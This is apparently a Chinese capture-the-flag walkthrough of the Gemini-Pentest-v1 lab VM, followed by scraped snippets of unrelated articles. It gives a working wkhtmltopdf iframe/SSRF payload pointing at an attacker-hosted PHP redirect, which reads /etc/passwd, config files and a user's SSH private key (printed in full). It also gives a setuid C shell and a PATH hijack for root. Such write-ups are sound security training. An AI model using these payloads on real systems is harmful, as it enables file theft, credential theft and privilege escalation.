18、Gemini-Pentest-v1
难度 中 (个人认为是高)
目标 root权限 一个flag
靶机启动环境为VMware
kali 192.168.152.56 靶机 192.168.152.64
信息收集


突破点大概就是web端了
web测试
访问主页直接就是目录遍历

不过进去后是一个正常的网页

简单的试了几个弱口令无果继续信息收集
在主页介绍了一下这个网站的作用是一个旨在让员工查看他们的个人资料详细信息,并允许他们将详细信息导出为PDF的系统
通过目录扫描扫描出了一些php文件但是大部分都打开没有内容估计是没有登录没有权限,但是有一个export.php的网页访问有显示

看着好像是管理员的一些信息
应该是有个名为 Gemini 的管理员账号,难道是爆破密码吗
后面我抓包研究这个PDF发现了一个参数?filename=还以为是文件包含,测了半天发现也不存在,实在没啥思路了只能去看一看wp
搞半天直接去github找源码里面有默认的账号密码。。。
这样太没意思了吧。。。
就这个网站

在install的时候应该是默认有个账号

看着是弱口令,也许一开始选择爆破或许也会出来,只不过这个网站有做了token验证需要写脚本也有点麻烦

进来后可以看到正是管理员的账号

突破边界
这里突破使用的方法我也是第一次遇到,当时信息收集的时候也没想过这个wkhtmltopdf会不会有什么漏洞
在actions中的编辑profile中会跳转到之前的exports.php
可以查看到当pdf的一些信息,可以看到使用的就是wkhtmltopdf

这个工具就是将html转换为PDF,此命令行工具存在一个SSRF搭配文件包含的漏洞可以实现任意文件的读取
在前期的测试中队每个输入点进行一遍测试可以发现这个display name的位置存在xss也就是可以影响到前段的html

为了验证是否存在相关漏洞可以先在此位置尝试能否加载远程的资源
<iframe src="http://ww.baidu.com"></iframe> 看能否加载百度

可以看到确实可以加载外部资源

既然可以远程文件包含那么可以尝试本地文件包含,但是此漏洞需要配合一下ssrf,需要再攻击机上写个用来重定向的代码让靶机去解析。
所以先在攻击机上面开始apache服务以及有php语言的环境然后在/var/www/html下面创建一个ssrf.php(当然能这样实现还是因为这个wkhtmltopdf存在这种解析漏洞)
写入
<?php header('location:file://'.$_REQUEST['url']); ?>

这个参数就可以用来指定具体的文件来读取
然后开启apache
service apache2 start
然后回到页面进行编辑之前的注入点
<iframe src="http://192.168.152.56/ssrf.php?url=/etc/passwd"></iframe>

因为只有在html转为PDF才会触发漏洞所以只能在export页面查看
可以看到成功的实现了文件的读取,就是框框有点小,而且还不能滑动。

重新修改一下iframe的属性把框框变大些
<iframe src="http://192.168.152.56/ssrf.php?url=/etc/passwd" width=800 height=4000></iframe>
现在就可以很舒服的读取文件了

通过查看这个passwd发现只有root和gemini1两个用户能登录,可以对gemini1进行ssh的爆破,也可以继续对靶机读取一些敏感文件
在github上面查看源码的时候其实在setting.php中出现了需要填写的数据库的账号密码的地方,是否可以尝试读取这些文件获取这些来作为ssh的登录密码呢
但是需要猜测一下绝对路径
/var/www/html/test2/inc/settings.php
<iframe src="http://192.168.152.56/ssrf.php?url=/var/www/html/test2/inc/settings.php" width=800 height=4000></iframe>

确实有密码等信息不过拿去用来登录可惜了都失败了。。。
那么前面得知了gemini1用户以及他的home目录是否他开启了私钥登录可以尝试去读取一下他的私钥或公钥呢
/home/gemini1/.ssh/id_rsa
<iframe src="http://192.168.152.56/ssrf.php?url=/home/gemini1/.ssh/id_rsa" width=800 height=4000></iframe>
也是成功的读取到了rsa了

-----BEGIN RSA PRIVATE KEY----- MIIEpQIBAAKCAQEAv8sYkCmUFupwQ8pXsm0XCAyxcR6m5y9GfRWmQmrvb9qJP3xs 6c11dX9Mi8OLBpKuB+Y08aTgWbEtUAkVEpRU+mk+wpSx54OTBMFX35x4snzz+X5u Vl1rUn9Z4QE5SJpOvfV3Ddw9zlVA0MCJGi/RW4ODRYmPHesqNHaMGKqTnRmn3/4V u7cl+KpPZmQJzASoffyBn1bxQomqTkb5AGhkAggsOPS0xv6P2g/mcmMUIRWaTH4Z DqrpqxFtJbuWSszPhuw3LLqAYry0RlEH/Mdi2RxM3VZvqDRlsV0DO74qyBhBsq+p oSbdwoXao8n7oO2ASHc05d2vtmmmGP31+4pjuQIDAQABAoIBAQCq+WuJQHeSwiWY WS46kkNg2qfoNrIFD8Dfy0ful5OhfAiz/sC84HrgZr4fLg+mqWXZBuCVtiyF6IuD eMU/Tdo/bUkUfyflQgbyy0UBw2RZgUihVpMYDKma3oqKKeQeE+k0MDmUsoyqfpeM QMc3//67fQ6uE8Xwnu593FxhtNZoyaYgz8LTpYRsaoui9j7mrQ4Q19VOQ16u4XlZ rVtRFjQqBmAKeASTaYpWKnsgoFudp6xyxWzS4uk6BlAom0teBwkcnzx9fNd2vCYR MhK5KLTDvWUf3d+eUcoUy1h+yjPvdDmlC27vcvZ0GXVvyRks+sjbNMYWl+QvNIZn 1XxD1nkxAoGBAODe4NKq0r2Biq0V/97xx76oz5zX4drh1aE6X+osRqk4+4soLauI xHaApYWYKlk4OBPMzWQC0a8mQOaL1LalYSEL8wKkkaAvfM604f3fo01rMKn9vNRC 1fAms6caNqJDPIMvOyYRe4PALNf6Yw0Hty0KowC46HHkmWEgw/pEhOZdAoGBANpY AJEhiG27iqxdHdyHC2rVnA9o2t5yZ7qqBExF7zyUJkIbgiLLyliE5JYhdZjd+abl aSdSvTKOqrxscnPmWVIxDyLDxemH7iZsEbhLkIsSKgMjCDhPBROivyQGfY17EHPu 968rdQsmJK8+X5aWxq08VzlKwArm+GeDs2hrCGUNAoGAc1G5SDA0XNz3CiaTDnk9 r0gRGGUZvU89aC5wi73jCttfHJEhQquj3QXCXM2ZQiHzmCvaVOShNcpPVCv3jSco tXLUT9GnoNdZkQPwNWqf648B6NtoIA6aekrOrO5jgDks6jWphq9GgV1nYedVLpR7 WszupOsuwWGzSr0r48eJxD0CgYEAo23HTtpIocoEbCtulIhIVXj5zNbxLBt55NAp U2XtQeyqDkVEzQK4vDUMXAtDWF6d5PxGDvbxQoxi45JQwMukA89QwvbChqAF86Bk SwvUbyPzalGob21GIYJpi2+IPoPktsIhhm4Ct4ufXcRUDAVjRHur1ehLgl2LhP+h JAEpUWkCgYEAj2kz6b+FeK+xK+FUuDbd88vjU6FB8+FL7mQFQ2Ae9IWNyuTQSpGh vXAtW/c+eaiO4gHRz60wW+FvItFa7kZAmylCAugK1m8/Ff5VZ0rHDP2YsUHT4+Bt j8XYDMgMA8VYk6alU2rEEzqZlru7BZiwUnz7QLzauGwg8ohv1H2NP9k= -----END RSA PRIVATE KEY-----
当然能不能登录还是等看看靶机上有没有公钥,于是还在读取一下.ssh/authorized_keys中有没有对应的公钥

存在公钥说明是允许某个私钥进行登录的,而且就属于gemini1
那么就可以拿着私钥去登录了
一开始还爆了个错误发现是权限问题,修改为600就可以了

提权
本次提权也是非常的有难度有细节。
首先进行常见的几种提权手法,看看内核版本,试一试sudo发现都要密码,看看是否有suid提权

并没有看到我熟知的几种可以直接用来提权的命令,然后可以一个一个去尝试但是大部分命令都要密码
直到尝试了这个listinfo

这个命令比较奇怪,打印了网卡的信息,以及两个端口的监听情况和date信息,在网上搜索了一下也没有这个命令很有可能是自己添加的

查看信息发现是一个elf的可执行文件
使用strings查看elf中出现可打印的字符串信息

发现他应该是将这个几个命令的结果整合到了一起然后打印输出
如果说我们替换了其中的一些命令那么listinfo在执行的时候是不是就会执行替换后的命令,但是这里前三个命令都指定了具体的路径并且这些文件都是当前用户没有权限进行修改的,只有最后一个date没有指定具体的路径给我们留下了可趁之机
用一段c代码保存为date.c
作用是以root的权限开启一个bin/bash
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int main(){setuid(0);setgid(0);system("/bin/bash");}
然后使用gcc编译
gcc date.c -o date

因为没有date指定具体的路径

在实际中date是根据环境变量中的路径去找的,从左往右找,这里他的实际路径在/bin下面
我们也无法对直接将date放到前面几个变量中,不过可以直接导入新的环境变量
export PATH=/home/gemini1/:$PATH

这下他找date命令就会先到gemini1下面找了
一切准备就绪后就可以再次运行listinfo命令了

成功提权至root并且拿到flag

后记
也是很有难度的一次提权,对于一个命令的猜测和探索,从而发现这样的提权的方式,并且后续的利用date进行提升权限直接用的c代码编译为可执行成功也很有意思,要是独立完成可能还真拿不下,不过又学到了新的姿势。
相关文章:
18、Gemini-Pentest-v1
难度 中 (个人认为是高) 目标 root权限 一个flag 靶机启动环境为VMware kali 192.168.152.56 靶机 192.168.152.64 信息收集 突破点大概就是web端了 web测试 访问主页直接就是目录遍历 不过进去后是一个正常的网页 简单的试了几个弱口令无果继续信息…...
MIT6.824 课程-MapReduce
MapReduce:在大型集群上简化数据处理 概要 MapReduce是一种编程模型,它是一种用于处理和生成大型数据集的实现。用户通过指定一个用来处理键值对(Key/Value)的map函数来生成一个中间键值对集合。然后,再指定一个reduce函数, 它用…...
7个 C# 高阶用法详解:从基础到实战
C# 高阶用法详解:从基础到实战 在实际开发中,C# 提供了很多高级特性和设计模式,帮助我们写出更加简洁、灵活和高效的代码。本篇将深入探讨 C# 中的高阶用法,通过丰富的示例,带你掌握这些工具的精髓。 1. LINQ&#x…...
[数据集][目标检测]乱堆物料检测数据集VOC+YOLO格式1143张1类别
数据集格式:Pascal VOC格式YOLO格式(不包含分割路径的txt文件,仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数):1143 标注数量(xml文件个数):1143 标注数量(txt文件个数):1143 标注…...
【SQL】百题计划:SQL对于空值的比较判断。
[SQL]百题计划 方法: 使用 <> (!) 和 IS NULL [Accepted] 想法 有的人也许会非常直观地想到如下解法。 SELECT name FROM customer WHERE referee_Id <> 2;然而,这个查询只会返回一个结果:Zach,尽管事实上有 4 个…...
OJ在线判题系统项目笔记
项目介绍 在线评测编程题目代码的系统,出题人预先设置题目的输入样例和输出样例,根据用户提交代码,进行编译代码,运行代码,判断代码执行结果是否正确。 后端服务 网关服务 接收前端请求,转发到对应的服…...
期望极大算法(Expectation Maximization Algorithm,EM)
定义 输入:观测变量数据Y,隐变量数据Z,联合分布P(Y,Z| θ \theta θ),条件分布PP(Z,Y| θ \theta θ); 输出:模型参数 θ \theta θ (1)选择参数的初值 θ ( 0 ) , 开始迭代 ; \theta^{(0)},开始迭代; θ(0),开始迭代; (2)E步:记 θ ( i ) 为第 i 次迭代参数 \theta^{(i)}为第…...
初级练习[4]:多表查询——表联结
目录 多表查询:表联结示例 查询有两门以上的课程不及格的同学的学号及其平均成绩 查询所有学生的学号、姓名、选课数、总成绩 查询平均成绩大于85的所有学生的学号、姓名和平均成绩 查询学生的选课情况:学号,姓名,课程号,课程名称 查询出每门课程的及格人数和不及格人数 …...
基于JAVA+SpringBoot+Vue的中药实验管理系统
基于JAVASpringBootVue的中药实验管理系统 前言 ✌全网粉丝20W,csdn特邀作者、博客专家、CSDN[新星计划]导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末附源码下载链接🍅 哈…...
移动硬盘读取出错结构损坏?数据恢复实战指南
移动硬盘困境:读取出错与结构损坏 在日常的数据存储与传输中,移动硬盘以其大容量、便携性成为了众多用户的首选。然而,当移动硬盘遭遇读取出错或结构损坏的困境时,那些珍贵的文件、照片、视频等数据便岌岌可危,让人心…...
Web安全之HTTPS调用详解和证书说明案例示范
随着互联网的高速发展,网络安全成为了一个不可忽视的话题,特别是在涉及用户敏感信息的业务系统中。在此背景下,使用HTTPS取代HTTP成为了大势所趋。本文将以电商交易系统为例,详细介绍HTTPS的重要性,并探讨如何通过HTTP…...
man命令学习记录
使用man来查看命令的用法 man ls 想了解Linux命令的用法假设你想查ls命令的更多信息,输入man ls,就会打开man page(man是manual的缩写,因此man page就是“手册页面”),显示关于ls命令各个方面的信息。 通常…...
Linux三剑客-grep
grep介绍 全拼: Global search REgular expression and Print out line. 作用: 文本搜索工具,根据用户指定的“模式(过滤条件)”对目标文本逐行进行匹配检查,打印匹配到的行。 模式: 有正则表达…...
备忘录模式memento
学习笔记,原文链接 https://refactoringguru.cn/design-patterns/memento 允许生成对象状态的快照并在以后将其还原。备忘录不会影响它所处理的对象的内部结构, 也不会影响快照中保存的数据。...
5-【JavaWeb】JUnit 单元测试及JUL 日志系统
1. 使用 JUnit 进行单元测试 JUnit 是 Java 中非常流行的单元测试框架,MyBatis 与 JUnit 可以很好地结合,来测试持久层代码的正确性。 1.1 添加 JUnit 依赖 在使用 JUnit 之前,需要在 pom.xml 中引入 JUnit 依赖。 <dependency><…...
多人开发小程序设置体验版的痛点
抛出痛点 在分配任务时,我们将需求分为三个分支任务,分别由前端A、B、C负责: 前端A: HCC-111-实现登录功能前端B: HCC-112-实现用户注册前端C: HCC-113-实现用户删除 相应地,我们创建三个功能分支: feature_HCC-111-实现登录功能feature_HCC-112-实现用户注册feature_HCC-1…...
【Kubernetes】常见面试题汇总(七)
目录 20.简述 Kubernetes 创建一个 Pod 的主要流程? 21.简述 Kubernetes 中 Pod 的重启策略? 20.简述 Kubernetes 创建一个 Pod 的主要流程? Kubernetes 中创建一个 Pod 涉及多个组件之间联动,主要流程如下: &#…...
EmguCV学习笔记 C# 11.1 DnnInvoke类
版权声明:本文为博主原创文章,转载请在显著位置标明本文出处以及作者网名,未经作者允许不得用于商业目的。 EmguCV是一个基于OpenCV的开源免费的跨平台计算机视觉库,它向C#和VB.NET开发者提供了OpenCV库的大部分功能。 教程VB.net版本请访问…...
论文解读 | ACL2024 Outstanding Paper:因果指导的主动学习方法:助力大语言模型自动识别并去除偏见...
点击蓝字 关注我们 AI TIME欢迎每一位AI爱好者的加入! 点击阅读原文观看作者直播讲解回放! 作者简介 孙洲浩,哈尔滨工业大学SCIR实验室博士生 概述 尽管大语言模型(LLMs)展现出了非常强大的能力,但它们仍然…...
xLSTM模型学习笔记
笔记来源:bilibili LSTM 回顾 原始的 LSTM 是为了解决 RNN 时序反向传播中梯度消失和爆炸问题而提出的。 其所谓的门控机制,其实就是一种时序上的注意力机制,相当于把不同时间进行"掺和",是对时序信息的一种选择性控制…...
【OSG学习笔记】Day 18: 碰撞检测与物理交互
物理引擎(Physics Engine) 物理引擎 是一种通过计算机模拟物理规律(如力学、碰撞、重力、流体动力学等)的软件工具或库。 它的核心目标是在虚拟环境中逼真地模拟物体的运动和交互,广泛应用于 游戏开发、动画制作、虚…...
如何为服务器生成TLS证书
TLS(Transport Layer Security)证书是确保网络通信安全的重要手段,它通过加密技术保护传输的数据不被窃听和篡改。在服务器上配置TLS证书,可以使用户通过HTTPS协议安全地访问您的网站。本文将详细介绍如何在服务器上生成一个TLS证…...
什么是Ansible Jinja2
理解 Ansible Jinja2 模板 Ansible 是一款功能强大的开源自动化工具,可让您无缝地管理和配置系统。Ansible 的一大亮点是它使用 Jinja2 模板,允许您根据变量数据动态生成文件、配置设置和脚本。本文将向您介绍 Ansible 中的 Jinja2 模板,并通…...
Spring Cloud Gateway 中自定义验证码接口返回 404 的排查与解决
Spring Cloud Gateway 中自定义验证码接口返回 404 的排查与解决 问题背景 在一个基于 Spring Cloud Gateway WebFlux 构建的微服务项目中,新增了一个本地验证码接口 /code,使用函数式路由(RouterFunction)和 Hutool 的 Circle…...
SAP学习笔记 - 开发26 - 前端Fiori开发 OData V2 和 V4 的差异 (Deepseek整理)
上一章用到了V2 的概念,其实 Fiori当中还有 V4,咱们这一章来总结一下 V2 和 V4。 SAP学习笔记 - 开发25 - 前端Fiori开发 Remote OData Service(使用远端Odata服务),代理中间件(ui5-middleware-simpleproxy)-CSDN博客…...
用机器学习破解新能源领域的“弃风”难题
音乐发烧友深有体会,玩音乐的本质就是玩电网。火电声音偏暖,水电偏冷,风电偏空旷。至于太阳能发的电,则略显朦胧和单薄。 不知你是否有感觉,近两年家里的音响声音越来越冷,听起来越来越单薄? —…...
HDFS分布式存储 zookeeper
hadoop介绍 狭义上hadoop是指apache的一款开源软件 用java语言实现开源框架,允许使用简单的变成模型跨计算机对大型集群进行分布式处理(1.海量的数据存储 2.海量数据的计算)Hadoop核心组件 hdfs(分布式文件存储系统)&a…...
Java求职者面试指南:Spring、Spring Boot、MyBatis框架与计算机基础问题解析
Java求职者面试指南:Spring、Spring Boot、MyBatis框架与计算机基础问题解析 一、第一轮提问(基础概念问题) 1. 请解释Spring框架的核心容器是什么?它在Spring中起到什么作用? Spring框架的核心容器是IoC容器&#…...
Spring Security 认证流程——补充
一、认证流程概述 Spring Security 的认证流程基于 过滤器链(Filter Chain),核心组件包括 UsernamePasswordAuthenticationFilter、AuthenticationManager、UserDetailsService 等。整个流程可分为以下步骤: 用户提交登录请求拦…...
鸿蒙(HarmonyOS5)实现跳一跳小游戏
下面我将介绍如何使用鸿蒙的ArkUI框架,实现一个简单的跳一跳小游戏。 1. 项目结构 src/main/ets/ ├── MainAbility │ ├── pages │ │ ├── Index.ets // 主页面 │ │ └── GamePage.ets // 游戏页面 │ └── model │ …...
